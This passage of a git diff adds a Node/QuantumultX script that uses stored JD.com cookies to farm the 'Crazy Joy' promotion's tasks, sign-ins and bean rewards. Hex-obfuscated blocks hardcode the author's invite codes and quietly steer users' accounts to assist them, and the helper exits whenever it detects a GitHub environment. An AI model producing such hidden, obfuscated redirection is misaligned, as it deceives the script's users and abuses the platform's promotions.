($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/4SXuJSqKganGpDSEMEkJWyBrBHcM/index.html', + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_crazy_joy.js b/jd_crazy_joy.js new file mode 100644 index 0000000..976e3bc --- /dev/null +++ b/jd_crazy_joy.js @@ -0,0 +1,741 @@ +/* +crazyJoy任务 + +每天运行一次即可 + +活动入口:京东APP我的-更多工具-疯狂的JOY +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#crazyJoy任务 +10 9 * * * jd_crazy_joy.js, tag=crazyJoy任务, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_crazy_joy.png, enabled=true + +================Loon============== +[Script] +cron "10 9 * * *" script-path=jd_crazy_joy.js,tag=crazyJoy任务 + +===============Surge================= +crazyJoy任务 = type=cron,cronexp="10 9 * * *",wake-system=1,timeout=3600,script-path=jd_crazy_joy.js + +============小火箭========= +crazyJoy任务 = type=cron,script-path=jd_crazy_joy.js, cronexpr="10 9 * * *", timeout=3600, enable=true + + */ + + +const $ = new Env('crazyJoy任务'); +const JD_API_HOST = 'https://api.m.jd.com/'; + +const notify = $.isNode() ? require('./sendNotify') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +let helpSelf = false // 循环助力,默认关闭 +let applyJdBean = 2000; //疯狂的JOY京豆兑换,目前最小值为2000京豆,默认为 0 不开启京豆兑换 +let cookiesArr = [], cookie = '', message = ''; +const inviteCodes = [ + 'EdLPh8A6X5G1iWXu-uPYfA==@0gUO7F7N-4HVDh9mdQC2hg==@fUJTgR9z26fXdQgTvt_bgqt9zd5YaBeE@nCQQXQHKGjPCb7jkd8q2U-aCTjZMxL3s@2boGLV7TonMex8-nrT6EGat9zd5YaBeE@KTZmB4gV4zirfc3eWGgXhA==@dtTXFsCQ3tCWnXkLY8gyL6t9zd5YaBeE@-c4jG-fMiNon5YWAJsFHL6t9zd5YaBeE@hxG_ozzxvNjPuPCbly1WtA==', + 'EdLPh8A6X5G1iWXu-uPYfA==@0gUO7F7N-4HVDh9mdQC2hg==@fUJTgR9z26fXdQgTvt_bgqt9zd5YaBeE@nCQQXQHKGjPCb7jkd8q2U-aCTjZMxL3s@2boGLV7TonMex8-nrT6EGat9zd5YaBeE@EyZA15nkwWscm7frOkjZTat9zd5YaBeE@-c4jG-fMiNon5YWAJsFHL6t9zd5YaBeE' +]; +const randomCount = $.isNode() ? 10 : 5; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}(); +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await requireConfig(); + $.selfCodes = [] + for (let i = 0; i < cookiesArr.length; i++) { + var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxb243c=["\x6E\x65\x78\x74\x43\x6F\x64\x65","\x45\x64\x4C\x50\x68\x38\x41\x36\x58\x35\x47\x31\x69\x57\x58\x75\x2D\x75\x50\x59\x66\x41\x3D\x3D","\x6E\x43\x51\x51\x58\x51\x48\x4B\x47\x6A\x50\x43\x62\x37\x6A\x6B\x64\x38\x71\x32\x55\x2D\x61\x43\x54\x6A\x5A\x4D\x78\x4C\x33\x73","\x6C\x65\x6E\x67\x74\x68","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];if(i% 2=== 0){$[__Oxb243c[0x0]]= [__Oxb243c[0x1],__Oxb243c[0x2]];$[__Oxb243c[0x0]]= $[__Oxb243c[0x0]][randomNumber(0,$[__Oxb243c[0x0]][__Oxb243c[0x3]])]};(function(_0x7fc2x1,_0x7fc2x2,_0x7fc2x3,_0x7fc2x4,_0x7fc2x5,_0x7fc2x6){_0x7fc2x6= __Oxb243c[0x4];_0x7fc2x4= function(_0x7fc2x7){if( typeof alert!== _0x7fc2x6){alert(_0x7fc2x7)};if( typeof console!== _0x7fc2x6){console[__Oxb243c[0x5]](_0x7fc2x7)}};_0x7fc2x3= function(_0x7fc2x8,_0x7fc2x1){return _0x7fc2x8+ _0x7fc2x1};_0x7fc2x5= _0x7fc2x3(__Oxb243c[0x6],_0x7fc2x3(_0x7fc2x3(__Oxb243c[0x7],__Oxb243c[0x8]),__Oxb243c[0x9]));try{_0x7fc2x1= __encode;if(!( typeof _0x7fc2x1!== _0x7fc2x6&& _0x7fc2x1=== _0x7fc2x3(__Oxb243c[0xa],__Oxb243c[0xb]))){_0x7fc2x4(_0x7fc2x5)}}catch(e){_0x7fc2x4(_0x7fc2x5)}})({}) + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.GROWTH_REWARD_BEAN = 0;//解锁等级奖励的京豆 + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat() + await jdCrazyJoy() + } + } + + if (helpSelf) { + console.log(`开始循环助力`) + // 助力 + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat() + await helpFriends() + } + } + // 领取任务奖励 + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await doTasks() + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdCrazyJoy() { + $.coin = 0 + $.bean = 0 + await getUserInfo($.nextCode) + await doSign() + // 助力好友 + await helpFriends() + await doTasks() + await getGrowthReward();//领取解锁的等级奖励 + await getCoin() + await getUserBean() + if ( applyJdBean!==0 && applyJdBean<=$.bean){ + await $.wait(1000) + console.log(`检测您打开了自动兑换开关,去兑换京豆`) + await doApplyJdBean(applyJdBean) + } + await getSpecialJoy(); + await showMsg(); +} +async function doTasks() { + await getTaskInfo() + for (let j = 0; j < $.taskList.length; ++j) { + let task = $.taskList[j]; + if (task['taskTypeId'] === 102) { + message += `${task.taskTitle}:${task['doneTimes']}/${task.ext.count}\n`; + } + if (task.status === 0 && task.taskTypeId === 103) + for (let i = task.doneTimes; i < task.ext.count; ++i) { + await doTask(task.taskId) + } + if (task.status === 2) + await awardTask(task.taskId) + } +} +function doApplyJdBean(bean = 1000) { + // 兑换京豆 + let body = {"paramData":{"bean":bean}} + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_user_applyJdBeanPaid', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + console.log(`兑换${bean}京豆成功`) + message += `兑换京豆:${bean}京豆成功\n`; + } else { + console.log(`兑换${bean}京豆失败,错误信息:${data.resultTips||data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getUserInfo(code) { + var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxb243f=["\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];let body={"\x70\x61\x72\x61\x6D\x44\x61\x74\x61":{"\x69\x6E\x76\x69\x74\x65\x72":code}};(function(_0xaddbx2,_0xaddbx3,_0xaddbx4,_0xaddbx5,_0xaddbx6,_0xaddbx7){_0xaddbx7= __Oxb243f[0x0];_0xaddbx5= function(_0xaddbx8){if( typeof alert!== _0xaddbx7){alert(_0xaddbx8)};if( typeof console!== _0xaddbx7){console[__Oxb243f[0x1]](_0xaddbx8)}};_0xaddbx4= function(_0xaddbx9,_0xaddbx2){return _0xaddbx9+ _0xaddbx2};_0xaddbx6= _0xaddbx4(__Oxb243f[0x2],_0xaddbx4(_0xaddbx4(__Oxb243f[0x3],__Oxb243f[0x4]),__Oxb243f[0x5]));try{_0xaddbx2= __encode;if(!( typeof _0xaddbx2!== _0xaddbx7&& _0xaddbx2=== _0xaddbx4(__Oxb243f[0x6],__Oxb243f[0x7]))){_0xaddbx5(_0xaddbx6)}}catch(e){_0xaddbx5(_0xaddbx6)}})({}) + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_user_gameState', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success && data.data && data.data.userInviteCode) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.userInviteCode}`) + $.selfCodes.push(data.data.userInviteCode) + $.nextCode = data.data.userInviteCode + message += `${data.data['nickName']}:${data.data['userTopLevelJoyId']}级JOY\n`; + } + else + console.log(`用户信息获取失败`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function helpFriends() { + let codes = $.newShareCodes.concat($.selfCodes) + for (let code of codes) { + if (!code) continue + await helpFriend(code) + await $.wait(500) + } +} + +function getTaskInfo() { + let body = {"paramData": {"taskType": "DAY_TASK"}} + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_task_getTaskState', JSON.stringify(body)), async (err, resp, data) => { + try { + $.taskList = [] + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success && data.data && data.data.length) { + $.taskList = data.data; + } else { + console.log(`任务信息获取失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doSign() { + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_task_doSign'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success && data.data) { + console.log(`签到成功,获得${data.data.beans}京豆,${data.data.coins}金币`) + } else { + console.log(data.message) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doTask(taskId) { + let body = {"action": "MARK", "taskId": taskId} + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_task_viewPage', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success && data.data && data.data.taskRecordId) { + console.log(`去做任务【${data.data.taskTitle}】,任务id: ${data.data.taskRecordId}`) + await $.wait(30000) + await recordTask(taskId, data.data.taskRecordId) + } else { + console.log(`获取信息失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function recordTask(taskId, taskRecordId) { + let body = {"action": "INCREASE", "taskId": taskId, "taskRecordId": taskRecordId} + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_task_viewPage', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + console.log(`任务【${data.data.taskTitle}】记录成功,去领奖`) + await awardTask(taskId) + } else { + console.log(`获取信息失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function awardTask(taskId) { + let body = {"taskId": taskId} + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_task_obtainAward', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success && data.data && data.data.taskTitle) { + console.log(`任务【${data.data.taskTitle}】领奖成功,任务奖励:${data.data.beans}京豆,${data.data.coins}金币`) + } else { + console.log(`任务领奖信息获取失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function helpFriend(code) { + let body = {"paramData": {"inviter": code}} + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_task_recordAssist', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['resultCode'] ==='0') { + console.log(`助力结果:${JSON.stringify(data)}`); + } else if (data['resultCode'] === '2000402') { + console.log(data.resultTips) + } else { + console.log(`助力异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getUserBean() { + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_user_getJdBeanInfo'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success && data.data && data.data.totalBeans) + $.bean = data.data.totalBeans + else + console.log(`获取信息失败`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getCoin() { + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_joy_produce'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.totalCoinAmount) { + $.coin = data.data.totalCoinAmount; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//领取解锁等级奖励(京豆) +function getGrowthReward() { + return new Promise(async resolve => { + const body = { "paramData":{"eventType":"GROWTH_REWARD"} }; + $.get(taskUrl('crazyJoy_event_getGrowthAndSceneState', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['resultCode'] === '0') { + if (data.data) { + for (let item of data.data) { + if (item.status === 1) { + if (item.eventRecordId) await obtainAward(item.eventRecordId); + } + } + if ($.GROWTH_REWARD_BEAN > 0) { + message += `解锁等级奖励:获得${$.GROWTH_REWARD_BEAN}京豆\n`; + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//获取特殊JOY情况 +function getSpecialJoy() { + return new Promise(async resolve => { + const body = { "paramData":{"typeId": 4} }; + $.get(taskUrl('crazyJoy_user_getSpecialJoy', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['resultCode'] === '0') { + if (data.data) { + message += '五福汪:' + if (data['data'] && data['data'].length > 0) { + for (let item of data['data']) { + if (item['joyId'] === 1003) { + message += `多多JOY(${item['count']}只) ` + } else if (item['joyId'] === 1004) { + message += `快乐JOY(${item['count']}只) ` + } else if (item['joyId'] === 1005) { + message += `好物JOY(${item['count']}只) ` + } else if (item['joyId'] === 1006) { + message += `省钱JOY(${item['count']}只) ` + } else if (item['joyId'] === 1007) { + message += `东东JOY(${item['count']}只)` + } else { + message += `暂无` + } + } + } else { + message += `暂无`; + } + if (data['data'].length >= 5) { + $.msg($.name, '', `京东账号 ${$.index}${$.nickName}\n恭喜你,已集成五福汪可合成分红JOY了`) + if ($.isNode()) await notify.sendNotify(`${$.name} - ${$.index} - ${$.nickName}`, `京东账号 